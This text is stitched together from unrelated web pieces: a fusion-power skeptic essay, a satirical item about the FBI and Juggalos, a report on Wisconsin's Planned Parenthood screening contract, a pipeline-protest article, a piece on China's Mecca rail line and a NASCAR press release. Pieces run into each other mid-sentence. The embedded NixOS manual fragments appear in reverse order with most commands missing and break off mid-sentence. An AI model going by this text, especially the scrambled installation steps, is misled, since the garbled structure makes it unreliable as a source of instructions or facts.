William Parkins, formerly the chief scientist at Rockwell International, asks in the 10 Mar 2006 edition of Science “Fusion Power: Will it Ever Come?“
When I read Parkins article and translated some of the measurements to ones more familiar to me, it was obvious that fusion would never see the light of day:
Fusion requires heating D-T (deuterium-tritium) to a temperature of 180 million degrees Fahrenheit — 6.5 times hotter than the core of the sun.
So much heat is generated that the reactor vacuum vessel has to be at least 65 feet long, and no matter what the material, will need to be replaced periodically because the heat will make the reactor increasingly brittle as it undergoes radiation damage. The vessel must retain vacuum integrity, requiring many connections for heat transfer and other systems. Vacuum leaks are inevitable and could only be solved with remotely controlled equipment.
A major part of the cost of a fusion plant is the blanket-shield component. Its area equals that of the reactor vacuum vessel, about 4,500 cubic yards in a 1000 MWe plant. The surrounding blanket-shield, made of expensive materials, would need to be at least 5.5 feet thick and weigh 10,000 metric tons, conservatively costing $1.8 billion dollars.
Here are some of the other difficulties Parkins points out in this article:
The blanket-shield component “amounts to $1,800/kWe of rated capacity—more than nuclear fission reactor plants cost today. This does not include the vacuum vessel, magnetic field windings with their associated cryogenic system, and other systems for vacuum pumping, plasma heating, fueling, “ash” removal, and hydrogen isotope separation. Helium compressors, primary heat exchangers, and power conversion components would have to be housed outside of the steel containment building—required to prevent escape of radioactive tritium in the event of an accident. It will be at least twice the diameter of those common in nuclear plants because of the size of the fusion reactor.
Scaling of the construction costs from the Bechtel estimates suggests a total plant cost on the order of $15 billion, or $15,000/kWe of plant rating. At a plant factor of 0.8 and total annual charges of 17% against the capital investment, these capital charges alone would contribute 36 cents to the cost of generating each kilowatt hour. This is far outside the competitive price range.
The history of this dream is as expensive as it is discouraging. Over the past half-century, fusion appropriations in the U.S. federal budget alone have run at about a quarter-billion dollars a year. Lobbying by some members of the physics community has resulted in a concentration of work at a few major projects—the Tokamak Fusion Test Reactor at Princeton, the National Ignition Facility (NIF) at Lawrence Livermore National Laboratory, and the International Thermonuclear Experimental Reactor (ITER), the multinational facility now scheduled to be constructed in France after prolonged negotiation. NIF is years behind schedule and greatly over budget; it has poor political prospects, and the requirement for waiting between laser shots makes it a doubtful source for reliable power.
Even if a practical means of generating a sustained, net power-producing fusion reaction were found, prospects of excessive plant cost per unit of electric output, requirement for reactor vessel replacement, and need for remote maintenance for ensuring vessel vacuum integrity lie ahead. What executive would invest in a fusion power plant if faced with any one of these obstacles? It’s time to sell fusion for physics, not power”.
Former House of Representatives Congressman Roscoe Bartlett (R-MD), head of the “Peak Oil Caucus”:
“…hoping to solve our energy problems with fusion is a bit like you or me hoping to solve our personal financial problems by winning the lottery. That would be real nice. I think the odds are somewhere near the same. I am about as likely to win the lottery as we are to come to economically feasible fusion.”
Bartlett’s full speech to congress: http://www.energybulletin.net/4733.html
National Academy of Sciences. 2013. An Assessment of the Prospects for Inertial Fusion Energy
The 3 principal research efforts in the USA are all trying to implode fusion fuel pellets by: (1) lasers, including solid state lasers at the Lawrence Livermore National Laboratory’s (LLNL’s) NIF and the University of Rochester’s Laboratory for Laser Energetics (LLE), as well as the krypton fluoride gas lasers at the Naval Research Laboratory; (2) particle beams, being explored by a consortium of laboratories led by the Lawrence Berkeley National Laboratory (LBNL); and (3) pulsed magnetic fields, being explored on the Z machine at Sandia National Laboratories. The minimum technical accomplishment that would give confidence that commercial fusion may be feasible—the ignition of a fuel pellet in the laboratory—has not been achieved.
This is 247 pages long chock-full of the problems that fusion must overcome – not just technical but the funding — billions of dollars in the unlikely event any of the various flavors of fusion makes enough progress to scale up to a higher level. If you ever wanted to know the minutiae of why fusion will never work, this is a great document to read — if you can understand it that is. I spent about 10 minutes grabbing just a few of the hundreds of “challenges” that need to be overcome:
Making a reliable, long-lived chamber is challenging since the charged particles, target debris, and X-rays will erode the wall surface and the neutrons will embrittle and weaken the solid materials.
Unless the initial layer surfaces are very smooth (i.e., perturbations are smaller than about 20 nm), short-wavelength (wavelength comparable to shell thickness) perturbations can grow rapidly and destroy the compressing shell. Mix Similarly, near the end of the implosion, such instabilities can mix colder material into the spot that must be heated to ignition. If too much cold material is injected into the hot spot, ignition will not occur. Most of the fuel must be compressed to high density, approximately 1,000 to 4,000 times solid density.
To initiate fusion, the deuterium and tritium fuel must be heated to over 50 million degrees and held together long enough for the reactions to take place. Drivers must deliver very uniform ablation; otherwise the target is compressed asymmetrically. If the compression of the target is insufficient, the fusion reaction rate is too slow and the target disassembles before the reactions take place. Asymmetric compression excites strong Rayleigh-Taylor instabilities that spoil compression and mix dense cold plasma with the less dense hot spot. Preheating of the target can also spoil compression. For example, mistimed driver pulses can shock heat the target before compression. Also, interaction of the driver with the surrounding plasma can create fast electrons that penetrate and preheat the target.
The technology for the reactor chambers, including heat exhaust and management of tritium, involves difficult and complicated issues with multiple, frequently competing goals and requirements. Understanding the performance at the level of subsystems such as a breeding blanket and tritium management, and integrating these complex subsystems into a robust and self-consistent design will be very challenging.
Avoiding frequent replacement of components that are difficult to access and replace will be important to achieving high availability. Such components will need to achieve a very high level of operational reliability.
Experimental investigations of the fast-ignition concept are challenging and involve extremely high-energy-density physics: ultraintense lasers (>1019 W cm–2); pressures in excess of 1 Gbar; magnetic fields in excess of 100 MG; and electric fields in excess of 1012 V/m. Addressing the sheer complexity and scale of the problem inherently requires the high-energy and high-power laser facilities
References
Bardi, Ugo. 2014. Extracted: How the Quest for Mineral Wealth Is Plundering the Planet. Chelsea Green Publishing.
Biello, David. June 2014. A Milestone on the Long and Winding Road to Fusion. Scientific American.
Chang, Ken. Mar 18, 2014. Machinery of an Energy Dream Machinery of an Energy Dream. New York Times.
Clery, D. 28 February 2014. New Review Slams Fusion Project’s Management. Science: Vol. 343 no. 6174 pp. 957-8.
Hinkel, D *, Springer P *, Standen, A, Krasny, M. Feb 13, 2014. Bay Area Scientists Make Breakthrough on Nuclear Fusion. Forum. (*) scientists at Lawrence Livermore National Laboratory.
Moyer, M. March/April 2010. Fusion’s False Dawn. Scientific American.
Perlman, David. Feb 13, 2014. Livermore Lab’s fusion energy tests get closer to ‘ignition’. San Francisco Chronicle.
Please follow and like us:After years of watching fecklessly as Insane Clown Posse directed attacks against reality show stars, science, and the concept of rhyming, the FBI has finally taken the Juggalo threat under serious advisement, adding the group’s face-painting “Family” members to its 2011 National Gang Threat Assessment as a “loosely organized hybrid gang” that poses an increasing threat so dangerous, it necessitates two pages and several bullet points. Big bullet points, with footnotes and colored subsections and everything, so you know it’s serious. Why the sudden panicky graphic design? Because according to the FBI, Juggalos have begun moving beyond merely gathering for mutual music appreciation and discussion about how much they hate their stepdads toward “forming more organized subsets and engaging in more gang-like criminal activity.” (At least, whenever their dipshit boss lets them off. Yo, it’s just a Sonic, bitch! What’s your problem?)
While the other gangs listed in the annual report have the usual rap sheets of major drug trafficking, homicides, and the occasional dance-off, the FBI understandably has difficulty pinning down exactly what Juggalos are up to: “Juggalos' disorganization and lack of structure within their groups, coupled with their transient nature, makes it difficult to classify them and identify their members and migration patterns,” the agency notes, having been denied by the damned liberal Obama administration the resources required to Google the word “Juggalo.”
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Working within those limitations, however, they have been able to surmise that Juggalos seem to be spreading beyond the four states that officially recognize them as a gang (Arizona, California, Pennsylvania, and Utah—though Utah also classifies any two kids with a skateboard as a “gang”), with recent “migration patterns” suggesting they’re expanding to New Mexico “primarily because they are attracted to the tribal and cultural traditions of the Native Americans nearby,” whose earthbound, magic-everywhere-in-this-bitch spirituality is familiar to anyone who’s ever listened to “Miracles,” or just read a joke about it on the Internet.
More and more, however, the FBI says that Juggalos are simply a wandering circus cutting a destructive swath through random towns—depending on how far they have to walk, because fuck that shit, man. And while there’s a set record of Juggalo-related criminal activity like petty theft, low-level drug sales, and the occasional felony assault, the agency seems most concerned about the Juggalos’ unpredictability, noting that their crimes are typically “sporadic, disorganized, individualistic,” and motivated solely by wanting to maintain the illusion of being dangerous, violent people. So it’s a good thing the FBI officially legitimized them as both a gang and a national threat then, so the Juggalos can take a step back and maybe consider their life choices now. [via Gawker]Looking for news you can trust?
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First he gutted worker’s rights, then slashed state education funding and dumbed-down sex ed. Next on Wisconsin Gov. Scott Walker’s hit list? Breast and cervical cancer screenings for women. Come January 1, Wisconsinites who rely on Planned Parenthood to access free cancer screenings may be out of luck.
The Wisconsin Well Woman Program is an 17-year-old state service created to ensure that women ages 45 to 64 who lack health insurance can access preventive health screenings. It is administered by the Department of Health Services and provides referrals and screenings for breast cancer, cervical cancer, and multiple sclerosis at no cost. The state currently uses a number of contractors to coordinate and provide those services, including Planned Parenthood. But now, in a move that could leave many women in the state without access to the program, the Walker government is ending Planned Parenthood’s contract.
In four Wisconsin counties, Planned Parenthood is the only health care provider currently contracted as a coordinator for the cancer screenings. Coordinators evaluate women for eligibility, enroll them in the program, and then connect them to health care providers that can perform the exams. The coordinators also do community outreach, letting women know that there are options for preventative care even if they don’t have health insurance. Planned Parenthood Advocates of Wisconsin has been a contractor since the program began—including during the terms of previous GOP governors Tommy Thompson and Scott McCallum—but the group recently learned that its contract is being terminated at the end of the month.
Beth Kaplan, a spokeswoman for the Department of Health Services, told Mother Jones that no decision has been made on the contract and would not comment on why it might not be continued. But Tanya Atkinson, executive director of Planned Parenthood Advocates of Wisconsin, says they were told that the state is cutting them out of the program. “They have very clearly stated that they were ending the contract with us,” she says. [UPDATE: Walker himself has confirmed that the state is ending its contract with Planned Parenthood.]
Atkinson says the DHS cut is politically motivated; as far as she knows, her group was the only service provider whose contract was not renewed. The move puts in question what will happen to the more than 1,000 women that access the Well Woman Program through Planned Parenthood in Winnebago, Fond du Lac, Sheboygan, and Outagamie counties every year. Doctors found 15 cases of cervical and breast cancer in the 1,260 women screened in those counties in 2010—cases that likely would not have been detected if women didn’t have access to the Well Woman Program. The county health officers in two of those counties have already issued statements decrying the state for targeting Planned Parenthood for the cut and for risking the health of their residents.
“If it’s not Planned Parenthood, then who’s going to coordinate? Where do women go?” Atkinson asks. “We don’t have any indication at this point.”
If Walker goes through with the cut, women like Laurie Seim might not get the services they need. Two years ago, the 52-year-old Seim discovered a lump in her breast and started feeling feverish and sick. Even though she had a part-time job as a medical assistant, she didn’t have health insurance and had never had a mammogram. The doctor she worked for sent her to the Well Woman Program coordinator at the Outagamie office of Planned Parenthood. She was able to get a mammogram the next day as well as an ultrasound, and both were covered by the program. Thankfully, she learned she had a cyst, not cancer. But without the program, she says, she probably wouldn’t have gotten that care.
“I didn’t have to worry about anything. It was such a godsend,” Seim says. “If I hadn’t been referred to that program, I don’t know what I would have done.” She worked in the medical field but still didn’t know how to navigate the system. “Well Woman was there for me.”
Planned Parenthood also provides some of the health screenings covered under Well Woman at other clinics around the state, including colposcopy, which is used to evaluate a women’s cervical health if she has an irregular pap smear result. But another bill that has been proposed in the Wisconsin State Senate would bar Planned Parenthood from providing those services, too. Senate Bill 331, sponsored by Republicans Mary Lazich, Glenn Grothman, and Pam Galloway, would block Planned Parenthood and any other health centers that also offer abortion services from being reimbursed for screenings through the Well Woman Program.
This isn’t the first time Walker and his allies in the Legislature have targeted Planned Parenthood. In June, Walker approved a budget that blocked state and federal funds from going to the group and any of its 27 health centers around the state. The clinics provide care to 73,000 women annually. And although there are already rules barring public funding from going to abortion services, Republicans in the state have gone after any and all money that goes to Planned Parenthood—even if it’s for services like cancer screenings.
“They’re willing to put their political ideology before women’s lives,” Atkinson says. “That’s really what’s happening here.”Note: Commands prefixed with # have to be run as root, either requiring to login as root user or temporarily switching to it using sudo for example.
If you encounter problems, please report them on the Discourse or on the #nixos channel on Freenode. Bugs should be reported in NixOS’ GitHub issue tracker.
This manual describes how to install, use and extend NixOS, a Linux distribution based on the purely functional package management system Nix.
This enables a periodically executed systemd service named nixos-upgrade.service. It runs nixos-rebuild switch --upgrade to upgrade NixOS to the latest version in the current channel. (To see when the service runs, see systemctl list-timers.) You can also specify a channel explicitly, e.g.
You can keep a NixOS system up-to-date automatically by adding the following to configuration.nix :
Warning: It is generally safe to switch back and forth between channels. The only exception is that a newer NixOS may also have a newer Nix version, which may involve an upgrade of Nix’s database schema. This cannot be undone easily, so in that case you will not be able to go back to your original channel.
Note: Channels are set per user. This means that running nix-channel --add as a non root user (or without sudo) will not affect configuration in /etc/nixos/configuration.nix
which is equivalent to the more verbose nix-channel --update nixos; nixos-rebuild switch.
You can then upgrade NixOS to the latest version in your chosen channel by running
And if you want to live on the bleeding edge:
If you have a server, you may want to use the “small” channel instead:
(Be sure to include the nixos parameter at the end.) For instance, to use the NixOS 17.03 stable channel:
To switch to a different NixOS channel, do
When you first install NixOS, you’re automatically subscribed to the NixOS channel that corresponds to your installation source. For instance, if you installed from a 17.03 ISO, you will be subscribed to the nixos-17.03 channel. To see which NixOS channel you’re subscribed to, run the following as root:
To see what channels are available, go to https://nixos.org/channels. (Note that the URIs of the various channels redirect to a directory that contains the channel’s latest version and includes ISO images and VirtualBox appliances.) Please note that during the release process, channels that are not yet released will be present here as well. See the Getting NixOS page https://nixos.org/nixos/download.html to find the newest supported stable release.
Small channels, such as nixos-17.03-small or nixos-unstable-small. These are identical to the stable and unstable channels described above, except that they contain fewer binary packages. This means they get updated faster than the regular channels (for instance, when a critical security patch is committed to NixOS’s source tree), but may require more packages to be built from source than usual. They’re mostly intended for server environments and as such contain few GUI applications.
The unstable channel, nixos-unstable. This corresponds to NixOS’s main development branch, and may thus see radical changes between channel updates. It’s not recommended for production systems.
Stable channels, such as nixos-17.03. These only get conservative bug fixes and package upgrades. For instance, a channel update may cause the Linux kernel on your system to be upgraded from 4.9.16 to 4.9.17 (a minor bug fix), but not from 4.9. x to 4.11. x (a major change that has the potential to break things). Stable channels are generally maintained until the next stable branch is created.
The best way to keep your NixOS installation up to date is to use one of the NixOS channels. A channel is a Nix mechanism for distributing Nix expressions and associated binaries. The NixOS channels are updated automatically from NixOS’s Git repository after certain tests have passed and all packages have been built. These channels are:
allowing you to log in via SSH (assuming you have set the appropriate passwords or SSH authorized keys):
Important: delete the $hostname.qcow2 file if you have started the virtual machine at least once without the right users, otherwise the changes will not get picked up. You can forward ports on the host to the guest. For instance, the following will forward host port 2222 to guest port 22 (SSH):
The VM does not have any data from your host system, so your existing user accounts and home directories will not be available unless you have set mutableUsers = false. Another way is to temporarily add the following to your configuration:
If you have a machine that supports hardware virtualisation, you can also test the new configuration in a sandbox by building and running a QEMU virtual machine that contains the desired configuration. Just do
to build the configuration but nothing more. This is useful to see whether everything compiles cleanly.
which causes the new configuration (and previous ones created using -p test ) to show up in the GRUB submenu “NixOS - Profile 'test'”. This can be useful to separate test configurations from “stable” configurations.
You can make your configuration show up in a different submenu of the GRUB 2 boot screen by giving it a different profile name, e.g.
to build the configuration and make it the boot default, but not switch to it now (so it will only take effect after the next reboot).
to build the configuration and switch the running system to it, but without making it the boot default. So if (say) the configuration locks up your machine, you can just reboot to get back to a working configuration.
You can also do
Warning: These commands must be executed as root, so you should either run them from a root shell or by prefixing them with sudo -i.
to build the new configuration, make it the default configuration for booting, and try to realise the configuration in the running system (e.g., by restarting system services).
The file /etc/nixos/configuration.nix contains the current configuration of your machine. Whenever you’ve changed something in that file, you should do
If you are switching networks with different proxy configurations, use theoption into switch proxies at runtime. Refer to Appendix A, Configuration Options for more information.
Setup the proxy environment variables in the shell where you are running nixos-install.
Update proxy configuration in /mnt/etc/nixos/configuration.nix to keep the internet accessible after reboot.
To install NixOS behind a proxy, do the following before running nixos-install.
It's also worth noting that this whole process can be automated. This is especially useful for Cloud VMs, where provider do not provide NixOS. For instance, nixos-infect uses the lustrate process to convert Digital Ocean droplets to NixOS from other distributions automatically.
And of course, if you're happy with NixOS and no longer need the old distribution:
This may work as is or you might also need to reinstall the boot loader
If for some reason you want to revert to the old distribution, you'll need to boot on a USB rescue disk and do something along these lines:
Cross your fingers, reboot, hopefully you should get a NixOS prompt!
Warning: Once you complete this step, your current distribution will no longer be bootable! If you didn't get all the NixOS configuration right, especially those settings pertaining to boot loading and root partition, NixOS may not be bootable either. Have a USB rescue device ready in case this happens.
Finally, move the /boot directory of your current distribution out of the way (the lustrate process will take care of the rest once you reboot, but this one must be moved out now because NixOS needs to install its own boot files:
Let's also make sure the NixOS configuration files are kept once we reboot on NixOS:
purify by expiatory sacrifice, ceremonial washing, or some other ritual action.
Support for NIXOS_LUSTRATE was added in NixOS 16.09. The act of "lustrating" refers to the wiping of the existing distribution. Creating /etc/NIXOS_LUSTRATE can also be used on NixOS to remove all mutable files from your root partition (anything that's not in /nix or /boot gets "lustrated" on the next boot.
Any file or directory listed in /etc/NIXOS_LUSTRATE (one per line)
/etc/NIXOS_LUSTRATE tells the NixOS bootup scripts to move everything that's in the root partition to /old-root. This will move your existing distribution out of the way in the very early stages of the NixOS bootup. There are exceptions (we do need to keep NixOS there after all), so the NixOS lustrate process will not touch:
/etc/NIXOS officializes that this is now a NixOS partition (the bootup scripts require its presence).
Change ownership of the /nix tree to root (since your Nix install was probably single user):
Build the NixOS closure and install it in the system profile:
You'll likely want to set a root password for your first boot using the configuration files because you won't have a chance to enter a password until after you reboot. You can initalize the root password to an empty one with this line: (and of course don't forget to set one once you've rebooted or to lock the account with sudo passwd -l root if you use sudo )
Note that this will place the generated configuration files in /etc/nixos. You'll probably want to edit the configuration files. Refer to the nixos-generate-config step in Chapter 2, Installing NixOS for more information.
Note: The following steps are only for installing NixOS in place using NIXOS_LUSTRATE :
If you do not wish to keep the Nix package manager installed either, run something like sudo rm -rv ~/.nix-* /nix and remove the line that the Nix installer added to your ~/.profile.
Optionally, you may want to clean up your non-NixOS distribution:
That should be it for installation to another partition!
Again, please refer to the nixos-install step in Chapter 2, Installing NixOS for more information.
Warning: Once you complete this step, you might no longer be able to boot on existing systems without the help of a rescue USB drive or similar.
Create the nixbld group and user on your original distribution:
(You can find the appropriate UUID for your partition in /dev/disk/by-uuid )
Consider setting up the NixOS bootloader to give you the ability to boot on your existing Linux partition. For instance, if you're using GRUB and your existing distribution is running Ubuntu, you may want to add something like this to your configuration.nix :
You'll probably want to edit the configuration files. Refer to the nixos-generate-config step in Chapter 2, Installing NixOS for more information.
If you're about to install NixOS in place using NIXOS_LUSTRATE there is nothing to do for this step.
At this point it is time to prepare your target partition. Please refer to the partitioning, file-system creation, and mounting steps of Chapter 2, Installing NixOS
Note: The following 5 steps are only for installing NixOS to another partition. For installing NixOS in place using NIXOS_LUSTRATE, skip ahead.
You'll need nixos-generate-config and nixos-install and we'll throw in some man pages and nixos-enter just in case you want to chroot into your NixOS partition. They are installed by default on NixOS, but you don't have NixOS yet..
You may want to throw in a nix-channel --update for good measure.
As that channel gets released without running the NixOS tests, it will be safer to use the nixos-* channels instead:
If you've just installed Nix on a non-NixOS distribution, you will be on the nixpkgs channel by default.
The first steps to all these are the same:
Install NixOS on your hard drive from the Live CD of any Linux distribution.
Install NixOS on the same partition (in place!), from your existing non-NixOS Linux distribution using NIXOS_LUSTRATE.
Install NixOS on another partition, from your existing Linux distribution (without the use of a USB or optical device!)
Because Nix (the package manager) & Nixpkgs (the Nix packages collection) can both be installed on any (most?) Linux distributions, they can be used to install NixOS in various creative ways. You can, for instance:
The folder will be available directly under the root directory.
Shared folders can be given a name and a path in the host system in the VirtualBox settings (Machine / Settings / Shared Folders, then click on the "Add" icon). Add the following to the /etc/nixos/configuration.nix to auto-mount them:
Also remove the fsck that runs at startup. It will always fail to run, stopping your boot until you press *.
There are a few modifications you should make in configuration.nix. Enable booting:
Save the settings, start the virtual machine, and continue installation like normal
Mount the CD-ROM with the NixOS ISO (by clicking on CD/DVD-ROM)
Add a New Machine in VirtualBox with OS Type "Linux / Other Linux"
Installing NixOS into a VirtualBox guest is convenient for users who want to try NixOS without installing it on bare metal. If you want to use a pre-made VirtualBox appliance, it is available at the downloads page. If you want to set up a VirtualBox guest manually, follow these instructions:
In the future we may begin making these files available as build products from hydra at which point we will update this documentation with instructions on how to obtain them either for placing on a dedicated TFTP server or to boot them directly over the internet.
If you’re using iPXE, depending on how your HTTP/FTP/etc. server is configured you may be able to use netboot.ipxe unmodified, or you may need to update the paths to the files to match your server’s directory layout
If you’re using plain PXE, configure your boot loader to use the bzImage and initrd files and have it provide the same kernel command line arguments found in netboot.ipxe.
This will create a result directory containing: * bzImage – the Linux kernel * initrd – the initrd file * netboot.ipxe – an example ipxe script demonstrating the appropriate kernel command line arguments for this image
These instructions assume that you have an existing PXE or iPXE infrastructure and simply want to add the NixOS installer as another option. To build the necessary files from a recent version of nixpkgs, you can run:
Advanced users may wish to install NixOS using an existing PXE or iPXE setup.
The dd utility will write the image verbatim to the drive, making it the recommended option for both UEFI and non-UEFI installations.
Using the 'raw' rdiskN device instead of diskN completes in minutes instead of hours. After dd completes, a GUI dialog "The disk you inserted was not readable by this computer" will pop up, which can be ignored.
For systems without CD drive, the NixOS live CD can be booted from a USB stick. You can use the dd utility to write the image: dd if= path-to-image of= /dev/sdX. Be careful about specifying the correct drive; you can use the lsblk command to get a list of block devices.
Example 2.2. Example partition schemes for NixOS on /dev/sda (UEFI)
Example 2.1. Example partition schemes for NixOS on /dev/sda (MBR)
To summarise, Example 2.3, “Commands for Installing NixOS on /dev/sda ” shows a typical sequence of commands for installing NixOS on an empty hard drive (here /dev/sda ). Example 2.4, “NixOS Configuration” shows a corresponding configuration Nix expression.
shows what packages are available, and
You may also want to install some software. For instance,
You’ll probably want to create some user accounts as well, which can be done with useradd :
You should log in and change the root password with passwd.
You should now be able to boot into the installed NixOS. The GRUB boot menu shows a list of available configurations (initially just one). Every time you change the NixOS configuration (see Changing Configuration ), a new item is added to the menu. This allows you to easily roll back to a previous configuration if something goes wrong.
If everything went well:
Note: For unattended installations, it is possible to use nixos-install --no-root-passwd in order to disable the password prompt entirely.
As the last step, nixos-install will |
Lipan Apache and the Texas Band of Yaqui Indians, and many unrecognized tribes don’t have access to legal protections for Indigenous remains and artifacts that also mandate consultation with tribes, such as the 1990 Native American Graves Protection and Repatriation Act (NAGPRA) and section 106 of the 1966 National Historic Preservation Act. Those protections only apply to federally recognized tribes and/or federal agencies or projects dealing with federal funds, permits, licenses or lands. Only three federally recognized tribes reside in the state — a reflection of the history of federal and state extermination campaigns, family separation, and forced relocation and assimilation.
Two Rivers Indigenous Water Protectors also oppose ETP’s other pipeline project that will carry fracked gas to Mexico. Even the project’s name is racist: ETP’s “Comanche Trail” pipeline takes its label from the Comanche Nation who were forcibly removed from Texas in the aftermath of the Comanche Wars. During the conflicts, the tribe used the Comanche Trail that crossed West Texas through the Big Bend region.
The Two Rivers camp’s Indigenous-led resistance is taking shape in Texas’ border region, and is about a 40-minute drive from a Homeland Security border checkpoint. Resistance around the “Comanche Trail” pipeline is responding to a unique set of political circumstances, since the federal government itself appears cautious about plans for the pipeline.
Two Rivers Water Protectors say the border reveals the federal government’s priorities when it comes to regulating pipelines, noting that while the federal government easily greenlit ETP’s pipelines to cross major waterways like the Rio Grande and the Missouri River (before historic Indigenous resistance), it showed more hesitation regarding ETP’s plan to route the Comanche Trail pipeline under the border fence and under the federally-owned Franklin Canal, filing an injunction to halt construction on the pipeline in November, and filing another motion to ensure the Department of Homeland Security has an opportunity to review ETP’s route.
However, Two Rivers Water Protectors emphasize that the US/Mexico border has little relevance, when it comes to their sacred sites and sacred lands.
“A lot of the lands that [ETP] is going through are sacred sites of Indigenous people from this land on both sides of the border. That border didn’t always exist. This land was very sacred to them, very important to them. There’s burial grounds everywhere, there’s places they lived, as they moved and transitioned throughout this land,” Orona told Truthout.
Kiani Naranjo, another Two Rivers Water Protector who descends from the Lenca people of El Salvador, agrees. “This land was originally part of the Americas before colonization, so before there was borders and before we were separate countries, it was all one land that belonged to the Indigenous people of the Americas, which is my ancestors and my future descendants, hopefully, and the ancestors of all my brothers and sisters that are here,” she said.
The Water Protectors and their allies want full environmental assessments on the entire length of both pipeline projects, not just for the areas that would be crossing the border. Opponents of the Trans-Pecos pipeline have been pushing for such a review for some time.
As Truthout has previously reported, the fight against the Trans-Pecos pipeline has been ongoing for more than two years. Throughout that time, conservationists, landowners and area residents have filed hundreds of comments with the Federal Energy Regulatory Commission, which is tasked with regulating a portion of pipeline slated to cross under the Rio Grande. The Two Rivers Water Protectors fear the Rio Grande may become contaminated and they requested that the agency conduct an environmental review of the pipeline, but the request was denied last May. Moreover, landowners have banded together to oppose the company’s use of eminent domain, filing several suits against ETP over condemnations of their property.
Now, with all institutional avenues for halting the pipeline exhausted, BBDC is linking up with SNN to use nonviolent direct action tactics, similar to the way in which East Texas landowners linked up with environmental organizers to resist the southern leg of the Keystone XL pipeline in 2011 and 2012 after pulling every institutional lever they could without success. Like the Keystone XL, the Trans-Pecos pipeline is primarily an export pipeline, making ETP’s claims that they have condemned landowners’ property for “public use” fraudulent. (TransCanada, the corporation behind the Keystone XL pipeline, made similar claims in relation to condemnations.)
As Truthout has reported, while ETP and Carlos Slim have said the fracked gas is intended for Mexico, where furious “gasolinazo” protests and blockades over a 20 percent hike in state-set fuel prices are heating up, the reality is that the gas would be shipped overseas to Japan, where officials are looking to shut down nuclear power plants and replace that energy supply with fracked gas after the Fukushima disaster. The primary financial backers of the pipeline include the Bank of Tokyo-Mitsubishi and the Sumitomo Mitsui Banking Corporation in Japan, according to industry reports.
Beyond the pipeline, Two Rivers Water Protectors say they hope they can galvanize a larger resistance to the development of the recently discovered Wolfcamp shale field in West Texas, the largest shale field ever assessed in the US. The shale contains 20 billion barrels of oil and 16 trillion cubic feet of natural gas.
That resistance is already taking shape with another camp in Toyahvale, Texas, which formed concurrently with the Two Rivers camp. The city is home to the locally known and loved spring of Balmorhea State Park, and hopes to stop the development of the nearby shale fields by the Apache Corporation. The Houston-based company announced last fall that it could drill up to 3,000 wells over the next two decades.
“Because of [Texas] laws that protect people buying mineral rights, [oil and gas companies] are going to be able to do whatever they want, and I’m not sure how people are going to be able to stop the fracking other than criminal trespassing — getting on them, getting in the way,” said Lori Glover, who was arrested representing the BBDC during the December 6 lockdown. “There’s really just not much out there to support what the community wants to do to protect the environment, to protect our lives.”
As the oil and gas industry continues to cement its dominance over the legal and regulatory process in Republican-dominated statehouses — as well as federally, under an incoming Trump administration — actions like Glover’s have become all the more necessary.
Meanwhile, Indigenous organizers are pointing to the struggle around the Trans-Pecos pipeline as part of a larger movement, carrying on the work of Water Protectors at Standing Rock.
“What happened in Cannon Ball … sparked a movement,” Orona said. “It’s up to the rest of us, and all the other surrounding communities and surrounding issues that involve the destruction of our Earth; it’s up to us to try our very best to continue that momentum in our own communities — and that’s what we’re doing.”
Candice Bernd is an editor/staff reporter at Truthout. With her partner, she is writing and producing Don’t Frack With Denton, a documentary chronicling how her hometown became the first city to ban fracking in Texas, and its subsequent overturn in the state legislature. She is a contributor to Truthout’s anthology on police violence, Who Do You Serve, Who Do You Protect?, and was recently honored with the Dallas Peace and Justice Center’s “Media Peacemaker of the Year” award. Follow her on Twitter: @CandiceBernd.China’s new rail line connecting Mecca with nine holy sites in Saudi Arabia is a project India can learn from.
While China is undoubtedly seen as a strategic rival by many Indian policymakers, this doesn’t mean there aren’t plenty of things we can learn from our neighbour.
Take the country’s approach in the Middle East for example. On the surface, there’s nothing particularly strategic about China constructing a metro rail link in the Saudi Arabian city of Mecca, the holiest meeting place in Islam. Think again.
Last week, China announced the opening of a 20-kilometre, $1.8 billion rail line connecting Mecca with 9 holy sites in Saudi Arabia, including Mina, Arafat and Muzdalifah. The project was only awarded to the China Railway Construction Company in February of last year, so it’s a remarkable feat to have completed the task so quickly.
China ensured that the line was operational a few days ahead of the start of this year’s Haj pilgrimage, although it was operating at half the passenger load it was designed for. The line—Saudi Arabia’s first dual track light railway project—is expected to be fully operational by next year’s Haj, when it will carry 72,000 passengers per hour.
This is the first light rail system built by China in the Middle East and, knowing China, its firms will flock to such infrastructure co-operation projects. The Mecca project is a simple but masterly diplomatic move to win friends and influence people in the Islamic world, especially considering China itself has only 23 million Muslims, making up about 0.6 per cent of its total population.
This latest development also won’t have gone unnoticed in India, which has the world’s second largest Muslim population—138 million (13.8 percent of the total population) according to the 2001 census.
Over the past few years, India has substantially improved its ties with Saudi Arabia. For example, India made a song and dance (and rightly so) about the ‘landmark’ visit of King Abdullah bin Abdulaziz to India in January 2006; Abdullah was the chief guest of Republic Day celebrations and went as far as to say he considered India to be a second home. Abdullah’s visit culminated in the ‘Delhi Declaration,’ which covered strategic energy ties, while Indian Prime Minister Manmohan Singh paid a return visit to the kingdom earlier this year.
The bottom line is: it’s hard not to feel admiration for this kind of Chinese dynamism. India has many things to learn from China; the sooner, the better.Richard Petty Motorsports Announces Partnership with Richard Childress Racing
Bubba Wallace to Race all-new Chevrolet Camaro ZL1 in Rookie Season
MOORESVILLE, N.C. (December 8, 2017) – Richard Petty Motorsports (RPM) and Richard Childress Racing (RCR) announced today a new partnership between the two organizations. RCR will supply chassis and engineering support to the team. The RPM entry will also receive horsepower from ECR Engines, the high-performance engine production, research and development subsidiary of RCR. With the transition, RPM will permanently move its team headquarters adjacent to the RCR campus in Welcome, N.C. The move will begin immediately and be completed by January.
“We’ve had a tremendous amount of success through our team partnerships over the past several seasons”, said Richard Childress, Chairman and CEO of RCR. “To bring a storied organization like Richard Petty Motorsports on board as a partner is a win for each of our organizations.”
The newly formed partnership will mean a switch in manufacturer for RPM and place 2018 Monster Energy NASCAR Cup Series (MENCS) driver and Sunoco Rookie of The Year contender, Darrell “Bubba” Wallace Jr. behind the wheel of the all-new Chevrolet Camaro ZL1 when the iconic No. 43 hits the track for the first time in 2018 during Speedweeks at the Daytona International Speedway leading up to the 60th running of the Daytona 500.
RPM will remain an independent race operation, but the change allows for the team to collaborate with RCR. The move also unites two of the sport’s most iconic teams and cars. RPM’s No. 43 and RCR’s No. 3 will now work together for the first time to push forward both organizations’ goals of winning races and championships.
